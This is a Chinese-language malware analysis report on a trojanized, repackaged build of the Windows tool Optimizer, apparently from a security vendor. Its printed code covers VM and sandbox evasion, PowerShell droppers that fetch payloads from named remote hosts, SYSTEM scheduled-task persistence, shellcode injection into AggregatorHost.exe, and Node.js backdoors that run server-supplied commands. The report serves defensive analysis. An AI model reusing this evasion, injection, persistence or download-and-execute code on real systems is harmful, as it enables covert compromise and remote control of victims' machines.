“Optimizer”之殇:反检测与持久化“双剑合璧”的恶意代码剖析

概述

  近日瑞星威胁情报平台监测到一起针对知名开源Windows优化工具Optimizer的恶意攻击事件,攻击者将恶意代码植入该工具后进行二次打包,并通过网络渠道传播,该木马程序具备多重反检测机制——通过对环境特征检测技术规避虚拟机与沙箱分析,同时采用多层脚本动态加载和系统进程注入等手段突破安全防护,最终利用计划任务持久化驻留并启动后门脚本。

攻击流程

  1. Optimizer.exe检测运行环境,释放并运行nfnbbnfdhdh.ps1
  2. nfnbbnfdhdh.ps1下载usb.dll,添加计划任务,该计划任务会通过rundll32.exe调用usb.dll中的usb函数。
  3. usb.dllshellcode注入AggregatorHost.exe,释放并运行temp.ps1
  4. temp.ps1下载最终的后门脚本,添加计划任务,该计划任务会调用node.exe执行后门脚本。

image

样本分析

Optimizer.exe分析

字段 内容
原始文件名 Optimizer.exe
文件大小 2531 KB
文件MD5 03ea8db00d4720e18f6f61d01acfc19b
文件类型 EXE
病毒名 Trojan.AntiVM!1.CF63
主要功能 检测运行环境,释放并运行nfnbbnfdhdh.ps1

  加密的数据会通过Base64解码和AES解密

private static string JCBQmsoWLf(string WTaDfZoZCz)
{
    string result;
    using (Aes aes = Aes.Create())
    {
        aes.Key = Program.cRdSSFAyCP;   //1234567890123456
        aes.IV = Program.mDlYppkKqs;    //6543210987654321
        ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
        using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(WTaDfZoZCz)))
        {
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
            {
                using (StreamReader streamReader = new StreamReader(cryptoStream))
                {
                    result = streamReader.ReadToEnd();
                }
            }
        }
    }
    return result;
}

  判断参数是否/aa,检测虚拟机及沙箱

string[] commandLineArgs = Environment.GetCommandLineArgs();
if (commandLineArgs.Length > 1)
{
    if (commandLineArgs[1] == "/aa" && !OptimizerHelper.FMaXQuhlpsHp() && !OptimizerHelper.usQUwnfetSFA() && !OptimizerHelper.HLQwwZubTZUi() && !OptimizerHelper.AJIeBbYkXXEo() && !OptimizerHelper.ztMVlnlVRvEU() && !OptimizerHelper.hYqVUzKbGOgo() && !OptimizerHelper.JVtkdCExalQo() && !OptimizerHelper.XjlSCpAafgXo() && !OptimizerHelper.hMaBRqgsOJyG() && !OptimizerHelper.kFWpFWkwrTsZ() && !OptimizerHelper.ELXVPHGGzhka() && !OptimizerHelper.kSaizKQVFmUF() && !OptimizerHelper.NqWyZRxhGqwM() && !OptimizerHelper.cQkRGficGiGN() && !OptimizerHelper.ohxcMwMbpQYS() && !OptimizerHelper.CcKrdMMekfCG())
    {

  函数名及对应功能如下:

函数名 功能
OptimizerHelper.FMaXQuhlpsHp() Sandboxie沙箱环境
OptimizerHelper.usQUwnfetSFA() Comodo沙箱检测
OptimizerHelper.HLQwwZubTZUi() 360 Total Security检测
OptimizerHelper.AJIeBbYkXXEo() Cuckoo沙箱环境检测
OptimizerHelper.ztMVlnlVRvEU() 时间流逝检测
OptimizerHelper.hYqVUzKbGOgo() Wine(Windows 兼容层)环境检测
OptimizerHelper.JVtkdCExalQo() 通过WMI检测虚拟机
OptimizerHelper.XjlSCpAafgXo() 通过驱动检测虚拟机
OptimizerHelper.hMaBRqgsOJyG() VirtualBox/VMware环境检测
OptimizerHelper.kFWpFWkwrTsZ() 通过服务进程检测虚拟机
OptimizerHelper.ELXVPHGGzhka() 通过物理端口检测虚拟机
OptimizerHelper.kSaizKQVFmUF() 通过设备路径及命名管道检测沙箱及虚拟机
OptimizerHelper.NqWyZRxhGqwM() 通过计算机硬件配置(内存大小、处理器数量、磁盘容量)检测虚拟机
OptimizerHelper.cQkRGficGiGN() 通过屏幕分辨率检测虚拟机
OptimizerHelper.ohxcMwMbpQYS() 通过鼠标活动轨迹检测沙箱
OptimizerHelper.CcKrdMMekfCG() 通过系统启动时间检测虚拟机

  获取浏览器历史记录信息

string text2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);   // C:\Users\<用户名>\AppData\Local
string text3 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);    // C:\Users\<用户名>\AppData\Roaming
if (Program.cMumlScApQ())   //检测当前程序是否以 Windows SYSTEM 账户权限运行
{
    ValueTuple<string, string> valueTuple = Program.KhGEmIBHcv();
    text2 = valueTuple.Item2;   // C:\Users\<用户名>\AppData\Local
    text3 = valueTuple.Item1;   // C:\Users\<用户名>\AppData\Roaming
}
foreach (ValueTuple<string, string, double> valueTuple2 in new List<ValueTuple<string, string, double>>)
{
    Program.YgtDqynmfp("Google Chrome", Path.Combine(text2, path)),   // C:\Users\<用户名>\AppData\Local\Google\Chrome\User Data\Default\History
    Program.YgtDqynmfp("Mozilla Firefox", Program.RtXZyotBYQ(text3)), // C:\Users\<用户名>\AppData\Roaming\Mozilla\Firefox\Profiles\[随机ID].default
    Program.YgtDqynmfp("Microsoft Edge", Path.Combine(text2, path2)), // C:\Users\<用户名>\AppData\Local\Microsoft\Edge\User Data\Default\History
    Program.YgtDqynmfp("Internet Explorer", Program.LfOaCWvWTy(text2)),   // C:\Users\<用户名>\AppData\Local\Microsoft\Windows\History\*.dat
    Program.YgtDqynmfp("Brave", Path.Combine(text2, path3)),  // C:\Users\<用户名>\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\History
    Program.YgtDqynmfp("Opera", Path.Combine(text3, path4))   // C:\Users\<用户名>\AppData\Roaming\Opera Software\Opera Stable\History
}
ValueTuple : <浏览器名称, 浏览器历史记录路径, 浏览器历史记录文件大小(MB)>

  通过浏览器历史记录文件大小判断是否为虚拟环境(测试结果显示在Chrome浏览器中,累计700条浏览历史记录所对应的History文件大小约为0.5 MB)

{
    if (valueTuple2.Item3 > 0.5) // 历史记录文件>0.5MB
    {
        if (!(valueTuple2.Item1 == "Mozilla Firefox"))    // 非Firefox浏览器
        {
            flag = true;
            break;
        }
        if (valueTuple2.Item3 > 5.5) // Firefox浏览器且文件>5.5MB
        {
            flag = true;
            break;
        }
    }
}

  判断若不在检测环境,则释放nfnbbnfdhdh.ps1并运行

{
    try
    {
        string fileName = Program.JCBQmsoWLf("pTlbzWIEKOs5pKlSgEAb5A=="); // powershell.exe
        string tempPath = Path.GetTempPath();
        string path = "nfnbbnfdhdh.ps1";
        string text = Path.Combine(tempPath, path);
        string directoryName = Path.GetDirectoryName(text);
        if (!Directory.Exists(directoryName))
        {
            Directory.CreateDirectory(directoryName);
        }
        File.WriteAllText(text, kYqHVeDBLW);    // 传入的powershell脚本
        ProcessStartInfo startInfo = new ProcessStartInfo
        {
            FileName = fileName,
            Arguments = "-ExecutionPolicy Bypass -File \"" + text + "\"",
            RedirectStandardOutput = true,
            RedirectStandardError = true,
            UseShellExecute = false,
            CreateNoWindow = true
        };
        using (Process process = new Process())
        {
            process.StartInfo = startInfo;
            process.Start();
            process.WaitForExit();
        }
        File.Delete(text);
    }
    catch (Exception)
    {
        Console.WriteLine("");
    }
}

nfnbbnfdhdh.ps1分析

字段 内容
原始文件名 nfnbbnfdhdh.ps1
文件大小 3 KB
文件MD5 76d27d57c54e58ce05ab5afbdeb668c3
文件类型 powershell
病毒名 Downloader.Agent/PS!1.13784
主要功能 下载usb.dll,创建计划任务

  将恶意文件下载至C:\Windows\[0-9]{4}\usb.dll

function Install-Script {
    $systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")

    if (-Not (Test-Path -Path $systemDrive)) {
        New-Item -Path $systemDrive -ItemType Directory -Force | Out-Null
    }

    $pathFour = Get-RandomNumber -Length 4
    $folderUuid = "Windows\$pathFour"
    $folderPath = Join-Path $systemDrive $folderUuid

    New-Item -Path $folderPath -ItemType Directory -Force | Out-Null

    $fileUuid = "usb"
    $filePathTemp = Join-Path $folderPath $fileUuid
    $filePath = "$filePathTemp.dll"   #C:\Windows\[0-9]{4}\usb.dll

    $scriptUrl = "https://creufkcutp.s3.us-east-1.amazonaws.com/usb.dll"

    Invoke-WebRequest -Uri $scriptUrl -OutFile $filePath -UseBasicParsing

    return $filePath
}

function Get-RandomNumber {
    param(
        [int]$Length
    )

    $min = [math]::Pow(10, $Length - 1)
    $max = [math]::Pow(10, $Length) - 1
    $random = Get-Random -Minimum $min -Maximum $max
    return [int]$random
}

  创建计划任务,通过rundll32.exe调用usb.dll中的usb函数

function Install-Task {
    param (
        [string]$filePath,
        [string]$taskName,
        [string]$taskPath
    )

    $quotedFilePath = "`"$filePath`",usb"

    $actionNode = New-ScheduledTaskAction -Execute "`"C:\Windows\System32\rundll32.exe`"" -Argument $quotedFilePath
    $hourlyTrigger = New-ScheduledTaskTrigger -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 1) -Once
    $startupTrigger = New-ScheduledTaskTrigger -AtStartup
    $principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest;
    $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;
    $task = New-ScheduledTask -Action $actionNode -Principal $principal -Trigger $hourlyTrigger, $startupTrigger -Settings $settings;

    Register-ScheduledTask -TaskName $taskName -InputObject $task -TaskPath $taskPath
}

usb.dll分析

字段 内容
原始文件名 usb.dll
文件大小 273 KB
文件MD5 804e8ff0d9753c267ef1f617965eb2bb
文件类型 DLL
病毒名 Trojan.Injector/x64!1.1376E
主要功能 向AggregatorHost.exe注入shellcode

  查找AggregatorHost.exe进程,若存在则执行注入操作

// 查找目标进程 
HANDLE target_process = find_process_by_name("AggregatorHost.exe"); 

if (target_process != NULL) 
{
    // 向目标进程注入Shellcode 
    int injection_result = inject_shellcode(target_process);

    if (injection_result != INJECTION_FAILED) 
    {
        return injection_result;  // 成功返回注入结果 
    }
    printf("Error");
    return;  // 注入失败退出 
}

printf("Error");

// 尝试向当前进程注入(进程ID=0表示当前进程)
int self_injection_result = inject_shellcode(0);
if (self_injection_result == INJECTION_FAILED) 
{
    printf("Error");
    return;
}
return self_injection_result;

  将解密后的shellcode注入至AggregatorHost.exe进程

DWORD inject_shellcode(DWORD target_pid) 
{
    // 打开目标进程 
    HANDLE h_process = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
        FALSE, 
        target_pid 
    );

    // 检查进程句柄有效性 (原代码中的指针校验逻辑)
    if (h_process == NULL || h_process == INVALID_HANDLE_VALUE) {
        return INJECTION_FAILED;
    }

    // 分配缓冲区存放解密后的Shellcode 
    size_t shellcode_size = SHELLCODE_SIZE;
    BYTE* decrypted_buf = (BYTE*)malloc(shellcode_size);
    if (!decrypted_buf) {
        CloseHandle(h_process);
        return INJECTION_FAILED;
    }

    // Shellcode异或解密 
    const BYTE* encrypted_data = get_encrypted_shellcode(); // 指向加密数据源 

    // 批量处理16字节对齐块
    size_t aligned_chunks = shellcode_size & ~0xF;
    for (size_t offset = 0; offset < aligned_chunks; offset += 16) {
        __m128i encrypted_block = _mm_loadu_si128((__m128i*)&encrypted_data[offset]);
        __m128i xor_mask = _mm_set1_epi8(XOR_KEY);
        __m128i decrypted_block = _mm_xor_si128(encrypted_block, xor_mask);
        _mm_storeu_si128((__m128i*)&decrypted_buf[offset], decrypted_block);
    }

    // 处理剩余非对齐字节 
    for (size_t i = aligned_chunks; i < shellcode_size; ++i) {
        decrypted_buf[i] = encrypted_data[i] ^ XOR_KEY;
    }

    // 在目标进程分配可执行内存 
    LPVOID remote_mem = VirtualAllocEx(
        h_process,
        NULL,
        shellcode_size,
        ALLOC_TYPE,
        PAGE_PERMISSIONS
    );
    if (!remote_mem) {
        free(decrypted_buf);
        CloseHandle(h_process);
        return INJECTION_FAILED;
    }

    // 写入解密后的Shellcode
    SIZE_T bytes_written = 0;
    BOOL write_success = WriteProcessMemory(
        h_process,
        remote_mem,
        decrypted_buf,
        shellcode_size,
        &bytes_written 
    );
    free(decrypted_buf); // 立即释放临时缓冲区

    if (!write_success || bytes_written != shellcode_size) {
        VirtualFreeEx(h_process, remote_mem, 0, MEM_RELEASE);
        CloseHandle(h_process);
        return INJECTION_FAILED;
    }

    // 创建远程线程执行Shellcode
    HANDLE h_thread = CreateRemoteThread(
        h_process,
        NULL, 
        0,
        (LPTHREAD_START_ROUTINE)remote_mem,
        NULL, 
        0, 
        NULL
    );
    if (!h_thread || h_thread == INVALID_HANDLE_VALUE) {
        VirtualFreeEx(h_process, remote_mem, 0, MEM_RELEASE);
        CloseHandle(h_process);
        return INJECTION_FAILED;
    }

    // 等待线程执行完成 
    DWORD wait_result = WaitForSingleObject(h_thread, INFINITE);

    // 资源清理
    CloseHandle(h_thread);
    VirtualFreeEx(h_process, remote_mem, 0, MEM_RELEASE);
    CloseHandle(h_process);

    return (wait_result == WAIT_OBJECT_0) ? INJECTION_SUCCESS : INJECTION_FAILED;
}

注入的shellcode分析

字段 内容
文件MD5 31bde898b77771957048d6a148fee8fe
文件类型 shellcode
主要功能 内存解密PE文件并执行

  shellcode通过自定义异或算法解密硬编码数据

void block_cipher_process(void* context, __m128i* input_block, uint8_t* output_buf, uint32_t data_len)
{
    if (data_len == 0) return;

    // 计算上下文与本地缓冲区的相对偏移
    __m128i local_buffer[2];
    ptrdiff_t context_offset = (uint8_t*)context - (uint8_t*)local_buffer;

    // 输入块结束地址(用于边界检查)
    uint8_t* input_end = (uint8_t*)input_block + 15;

    do {
        // 复制输入块到本地缓冲区 
        if ((uint8_t*)local_buffer > (uint8_t*)input_end || 
            (uint8_t*)local_buffer + 15 < (uint8_t*)input_block) 
        {
            local_buffer[0] = *input_block;
        } 
        else 
        {
            // 处理重叠情况(实际执行相同操作)
            local_buffer[0] = *input_block;
        }

        // === 密钥混合阶段 === 
        uint32_t* buffer_ptr = (uint32_t*)local_buffer;
        for (size_t i = 0; i < 4; i++) 
        {
            // 将上下文密钥与数据块异或混合 
            *buffer_ptr ^= *(uint32_t*)((uint8_t*)buffer_ptr + context_offset);
            buffer_ptr++;
        }

        // === 块加密核心 === 
        // 解包128位块为4个32位字 
        uint32_t* state = (uint32_t*)local_buffer;
        uint32_t w0 = state[0];  // 最低位字
        uint32_t w1 = state[1];
        uint32_t w2 = state[2];
        uint32_t w3 = state[3];  // 最高位字 

        // 16轮加密变换
        for (int round = 0; round < 16; round++) 
        {
            // 第一层混合 
            uint32_t temp0 = w1 + w0;
            uint32_t temp1 = w3 + w2;

            // 非线性变换
            uint32_t mixed0 = temp0 ^ ((w1 << 5) | (w1 >> 27));  // 32位旋转 
            uint32_t mixed1 = temp1 ^ ((w3 << 8) | (w3 >> 24));  // 24位旋转 

            // 第二层混合
            uint32_t sum = mixed0 + mixed1;

            // 状态更新(带旋转)
            w1 = sum ^ ((mixed0 >> 25) | (mixed0 << 7));  // 25位右旋转 
            w2 = _rotr(mixed1, 19);                      // 19位右旋转
            w0 = _rotr(temp0, 16) + mixed1;              // 16位右旋转 
            w3 = w0 ^ _rotr(mixed1, 19);                 // 19位右旋转 
        }

        // 重组加密后的块 
        state[0] = w0;
        state[1] = w1;
        state[2] = w2;
        state[3] = w3;

        // === 后处理阶段 ===
        buffer_ptr = (uint32_t*)local_buffer;
        for (size_t i = 0; i < 4; i++) 
        {
            // 再次与上下文密钥混合
            *buffer_ptr ^= *(uint32_t*)((uint8_t*)buffer_ptr + context_offset);
            buffer_ptr++;
        }

        // === 输出处理 === 
        // 计算本次处理的字节数(最多16字节)
        uint32_t process_bytes = (data_len > 16) ? 16 : data_len;

        // 流密码模式:密钥流与明文异或 
        uint8_t* key_stream = (uint8_t*)local_buffer;
        uint8_t* out_ptr = output_buf;
        for (uint32_t i = 0; i < process_bytes; i++) 
        {
            // 每个输出字节与密钥流对应字节异或 
            *out_ptr ^= key_stream[i];
            out_ptr++;
        }

        // 更新计数器和指针 
        data_len -= process_bytes;
        output_buf += process_bytes;

        // === 计数器递增 ===
        // 大端计数器递增(从最高字节开始)
        uint8_t* counter_ptr = (uint8_t*)input_block + 15;
        for (int i = 15; i >= 0; i--) 
        {
            if (++(*counter_ptr) != 0x00) break;  // 无进位则停止
            counter_ptr--;  // 处理前一个字节的进位
        }
    } while (data_len > 0);
}

  内存解密的结果是一个PE文件

image

内存解密的PE文件分析

字段 内容
文件大小 148 KB
文件MD5 20a3fa9406ec27ba41c9df912baf1d22
文件类型 EXE
主要功能 释放并启动tmp.ps1文件

  隐蔽执行创建在临时目录下的powershell脚本文件tmp.ps1

int execute_powershell_script(const char* script_content)
{
    // 获取系统临时目录路径
    char temp_dir_path[MAX_PATH_LENGTH];
    if (!GetTempPathA(sizeof(temp_dir_path), temp_dir_path)) {
        return 1;  // 获取临时目录失败
    }

    // 构建临时脚本文件路径 
    char script_path[MAX_PATH_LENGTH];
    if (snprintf(script_path, sizeof(script_path), "%stmp.ps1",  temp_dir_path) < 0) {
        return 1;  // 路径构建失败
    }

    // 创建并写入PowerShell脚本
    FILE* script_file = fopen(script_path, "w");
    if (!script_file) {
        return 1;  // 文件创建失败 
    }
    fputs(script_content, script_file);  // 写入脚本内容
    fclose(script_file);

    // 构建PowerShell执行命令
    char powershell_cmd[MAX_CMD_LENGTH];
    if (snprintf(powershell_cmd, sizeof(powershell_cmd),
                "powershell.exe  -NoProfile -WindowStyle Hidden "
                "-ExecutionPolicy Bypass -File \"%s\"", 
                script_path) < 0) {
        return 1;  // 命令构建失败
    }

    // 准备进程启动参数
    STARTUPINFOA startup_info = {0};
    PROCESS_INFORMATION process_info = {0};
    startup_info.cb  = sizeof(startup_info);
    startup_info.dwFlags  = STARTF_USESHOWWINDOW;  // 使用窗口显示标志 
    startup_info.wShowWindow = SW_HIDE;           // 隐藏窗口

    // 创建隐藏的PowerShell进程
    char exec_cmd[MAX_CMD_LENGTH];
    strcpy(exec_cmd, powershell_cmd);  // 创建可修改的命令副本

    if (!CreateProcessA(
        NULL,                   
        exec_cmd,               
        NULL,                   
        NULL,                   
        FALSE,                  
        CREATE_NO_WINDOW,        
        NULL,                   
        NULL,                   
        &startup_info,          
        &process_info)) {       
        return 1;  // 进程创建失败
    }

    // 等待脚本执行完成 
    WaitForSingleObject(process_info.hProcess, INFINITE);

    // 获取退出代码并清理资源
    DWORD exit_code = 0;
    GetExitCodeProcess(process_info.hProcess, &exit_code);

    // 清理资源
    CloseHandle(process_info.hThread);
    CloseHandle(process_info.hProcess);

    // DeleteFileA(script_path);

    return exit_code;
}

  powershell脚本硬编码在文件内

image

tmp.ps1分析

字段 内容
原始文件名 tmp.ps1
文件大小 7 KB
文件MD5 e271e80e95387400dc7d409533f52a63
文件类型 powershell
病毒名 Downloader.Agent/PS!1.13784
主要功能 下载两个后门脚本文件,添加两个脚本的计划任务

  检查EDP计划任务是否存在,如果存在则删除

Check-And-Remove-Task -taskPath "\Microsoft\Windows\EDP\" -taskName "EDP Performance Task"
...
 function Check-And-Remove-Task {
     param (
         [Parameter(Mandatory=$true)]
         [string]$taskPath,

         [Parameter(Mandatory=$true)]
         [string]$taskName
     )

     $taskExists = Get-ScheduledTask -TaskPath $taskPath -TaskName $taskName -ErrorAction SilentlyContinue

     if ($taskExists) {
         Unregister-ScheduledTask -TaskPath $taskPath -TaskName $taskName -Confirm:$false
     }
 }

  通过注册表检查Node.js是否安装,如果未安装则静默安装指定版本的Node.js

 function Install-NodeJS {
     $nodePath = Read-RegValue -Path "SOFTWARE\Node.js" -Name "InstallPath"
     if (-Not ($nodePath)) {
         if ((Get-WmiObject -Class Win32_ComputerSystem).SystemType -match 'x64') {
             Start-Process -FilePath "msiexec.exe" -ArgumentList "/i https://nodejs.org/dist/v20.19.1/node-v20.19.1-x64.msi /quiet /norestart" -Wait -NoNewWindow
         }
         else {
             Start-Process -FilePath "msiexec.exe" -ArgumentList "/i https://nodejs.org/dist/v20.19.1/node-v20.19.1-x64.msi /quiet /norestart" -Wait -NoNewWindow
         }
     }

     $nodePath = Read-RegValue -Path "SOFTWARE\Node.js" -Name "InstallPath"
     if (-Not ($nodePath)) {
         $systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")
         $nodePath = "$systemDrive\Program Files\nodejs\";
     }

     $nodeExe = "node.exe"

     return "`"$nodePath$nodeExe`""
 }

  从远程服务器下载脚本文件并保存到C:\EDP\{[随机UUID]}目录下,文件名为[随机UUID]

 function Install-Script {
     $systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")
     $packageCachePath = "$systemDrive"

     if (-Not (Test-Path -Path $packageCachePath)) {
         New-Item -Path $packageCachePath -ItemType Directory -Force | Out-Null
     }

     $folderPath = "$packageCachePath\EDP\{$([guid]::NewGuid())}"

     New-Item -Path $folderPath -ItemType Directory -Force | Out-Null

     $filePath = "$folderPath\$([guid]::NewGuid())"

     $scriptUrl = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9pbnN0YW50LWtiLm9ubGluZS91cGRhdGVzL0tCODAxNjQ0MzI="))

     Invoke-WebRequest -Uri $scriptUrl -OutFile $filePath -UseBasicParsing

     return $filePath
 }

  从远程服务器下载脚本文件并保存到C:\WindowsSettings\{[随机UUID]}目录下,文件名为[随机UUID]

 function Install-Script-New {
     $systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")
     $packageCachePath = "$systemDrive"

     if (-Not (Test-Path -Path $packageCachePath)) {
         New-Item -Path $packageCachePath -ItemType Directory -Force | Out-Null
     }

     $folderPath = "$packageCachePath\WindowsSettings\{$([guid]::NewGuid())}"

     New-Item -Path $folderPath -ItemType Directory -Force | Out-Null

     $filePath = "$folderPath\$([guid]::NewGuid())"

     $scriptUrl = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly91dXUucnFmZWZ4c2EueHl6L2NhYi5qcw=="))

     Invoke-WebRequest -Uri $scriptUrl -OutFile $filePath -UseBasicParsing

     return $filePath
 }

  创建计划任务,通过node.exe运行下载的两个脚本

$filePath = Install-Script
Install-Task -filePath $filePath -nodePath $nodePath -taskName "EDP Performance Task" -taskPath "\Microsoft\Windows\EDP"

$filePathN = Install-Script-New
Install-Task -filePath $filePathN -nodePath $nodePath -taskName "MonitoringSchedule" -taskPath "\Microsoft\Windows\Hotpatch"
...

 function Install-Task {
     param (
         [string]$filePath,
         [string]$nodePath,
         [string]$taskName,
         [string]$taskPath
     )

     $quotedFilePath = "`"$filePath`""

     $actionNode = New-ScheduledTaskAction -Execute $nodePath -Argument $quotedFilePath
     $hourlyTrigger = New-ScheduledTaskTrigger -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 1) -Once
     $startupTrigger = New-ScheduledTaskTrigger -AtStartup
     $principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest;
     $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;
     $task = New-ScheduledTask -Action $actionNode -Principal $principal -Trigger $hourlyTrigger, $startupTrigger -Settings $settings;

     Register-ScheduledTask -TaskName $taskName -InputObject $task -TaskPath $taskPath
 }

  通过在注册表中添加SystemComponent键值,并将其内容设置为1可将程序标识为系统核心组件,从而实现隐藏Node.js的目的

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F842C5DD-4337-467E-A1E3-169C5AAADF9D}" /v SystemComponent /t REG_DWORD /d 1 /f

KB80164432.js分析

字段 内容
原始文件名 KB80164432.js
文件大小 29 KB
文件MD5 5ea776ca7dccac71138a6e92a4f5c934
文件类型 javascript
病毒名 Backdoor.Agent/JS!1.13780
主要功能 后门程序,接收服务器指令并执行

  收集系统信息

920: (t, e, n) => {
"use strict";
Object.defineProperty(e, "__esModule", {value: true});
const r = n(400), o = n(558), i = n(368), s = () => {
  if ("win32" === process.platform) try {
    const t = (0, i.execSync)('powershell.exe -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"');
    if (t) {
      const e = t.toString("utf-8").trim().match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi);
      return e ? e[0] : "";
    }
  } catch (t) {
    return "";
  }
  return "";
};
class c {
  static build() {  //收集信息
    return this.info || (this.info = {os_type: o.type(), os_name: o.platform(), os_release: o.release(), os_version: o.version(), os_hostname: o.hostname(), os_arch: o.arch(), machine_id: (0, r.machineIdSync)(true), machine_uuid: s()}), this.info;
  }
  static getDefaultShell() {
    return "win32" === o.platform() ? "cmd.exe" : "bash";
  }
}
c.info = null, e.default = c;

  向远程服务器发送收集的系统信息,等待服务器返回指令数组,分割指令并下载远程文件

console.debug(`Using ${t}`), console.debug(this.pingBody), yield a.HttpRequest.post(`${t}/d`, { //发送收集的系统信息
    method: "POST",
    body: JSON.stringify(this.pingBody),
    headers: {
        "Content-Type": "application/json"
    }
}).then(t => r(this, undefined, undefined, function  * () {
        if (t && Array.isArray(t)) {
            const e = [];
            yield t.reduce((t, o) => r(this, undefined, undefined, function  * () {
                    return yield t,
                    new Promise((t, s) => r(this, undefined, undefined, function  * () {
                            try {
                                const r = o.split(":"),   //分割指令
                                s = yield a.HttpRequest.downloadFile(r.slice(1).join(":"), {  //下载远程文件
                                    "x-mid": this.pingBody.machine_id,
                                    "x-uid": this.pingBody.machine_uuid
                                }, (0, i.extname)(r[1]));

  通过不同命令,执行下载的文件

switch (s && n.push(s), r[0].toLowerCase()) {
case "node":
    s && e.push(`"${process.argv[0]}" "${s}"`);
    break;
case "cmd":
    s && e.push(`"${s}"`);
    break;
case "ps1":
    s && e.push(`powershell.exe -ExecutionPolicy Bypass "${s}"`);
    break;
case "ow":
    s && e.push(`copy "${s}" "${__filename}"`);
    break;
case "sh":
    s && (e.push(`chmod +x "${s}"`), e.push(`"${s}"`));
}
t(s);
}
catch (t) {
    console.debug(t),
    yield this.logResult({
        o: "",
        e: t.toString(),
        ec: undefined,
        s: undefined
    }),
    this.cleanupFiles(n),
    process.exit(1);
}
}));
}), Promise.resolve()), 0 === e.length && (yield this.logResult({
        o: `Got ${e.length} commands.`,
        e: null,
        ec: undefined,
        s: undefined
    }), process.exit(0));
const o = new f.ShellSession(s.default.getDefaultShell());
yield o.exec(e).then(t => r(this, undefined, undefined, function  * () { //执行命令
        yield this.logResult(t),
        this.cleanupFiles(n),
        process.exit(0);
    }

  命令及功能如下:

指令 功能
node 执行JS脚本
cmd 直接执行可执行文件/bat脚本
ps1 执行powershell脚本
ow 覆盖当前运行的程序文件(自更新)
sh 添加执行权限后运行Shell脚本

cab.js分析

字段 内容
原始文件名 cab.js
文件大小 420 KB
文件MD5 804957e501ee0443632ea675353326d4
文件类型 javascript
病毒名 Backdoor.Agent/JS!1.13782
主要功能 后门程序,执行服务器返回数据

  收集系统信息

0x68: (_0x15ed62, _0xae7a48, _0x43bd9c) => {
    'use strict';

    var _0x5f5cfe = {
        value: true
    };
    Object.defineProperty(_0xae7a48, '__esModule', _0x5f5cfe);
    const _0x2553a0 = _0x43bd9c(518);
    const _0x226cd7 = _0x43bd9c(857);
    class _0x5ce131 {
        static["build"]() {
            if (!this.info) {
                0;
                this.info = {
                    'os_type': _0x226cd7.type(),
                    'os_name': _0x226cd7.platform(),
                    'os_release': _0x226cd7.release(),
                    'os_version': _0x226cd7.version(),
                    'os_hostname': _0x226cd7.hostname(),
                    'os_arch': _0x226cd7.arch(),
                    'machine_id': _0x2553a0.machineIdSync(true)
                };
            }
            return this.info;
        }
        static["getDefaultShell"]() {
            if ("win32" === _0x226cd7.platform()) {
                return 'cmd.exe';
            }
            throw new Error("Not implemented");
        }
    }
    _0x5ce131.info = null;
    _0xae7a48["default"] = _0x5ce131;
}

  向远程服务器发送收集的系统信息,执行远程服务器返回的script字段的内容

do {
    var _0x9054bd = {
        "Content-Type": "application/json"
    };
    yield _0x57a3ee.HttpRequest.post(_0x2ea0e8 + '/d', {
        'method': "POST",
        'body': JSON.stringify(_0x19c3d3),
        'headers': _0x9054bd
    }).then(_0x5a3c07 => _0x41272c(this, undefined, undefined, function  * () {
            if (_0x5a3c07 && _0x5a3c07.metadata) {
                var _0x1e9f07 = JSON.parse(_0x5a3c07.metadata);
                _0x1e9f07.id = _0x5a3c07.id;
                var _0x4a9311 = new _0x49072b.ShellSession(_0x1e9f07.shell || _0x41f927['default'].getDefaultShell());
                yield _0x4a9311.exec(_0x1e9f07.script).then(_0x5510d2 => _0x41272c(this, undefined, undefined, function  * () {  //执行 script 字段内容
                        yield this.handleShellExecutionResult(_0x19c3d3.machine_id, _0x5510d2, _0x1e9f07);
                        process.exit(0);
                    }))['catch'](_0x117422 => _0x41272c(this, undefined, undefined, function  * () {
                        yield this.handleShellExecutionResult(_0x19c3d3.machine_id, _0x117422, _0x1e9f07);
                        process.exit(1);
                    }));
            } else {
                process.exit(0);
            }
        }))["catch"](_0x351d9d => {
        console.error(_0x351d9d);
    });
} while (++_0x3c40e5 < 3);

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

image

image

总结

  在开源软件蓬勃发展的当下,知名开源Windows优化工具Optimizer凭借其高效的功能和广泛的用户基础,成为众多用户优化系统的首选。然而,此次针对Optimizer的恶意攻击事件,让广大用户深刻认识到,在享受开源软件便利的同时,不能对其安全性掉以轻心。

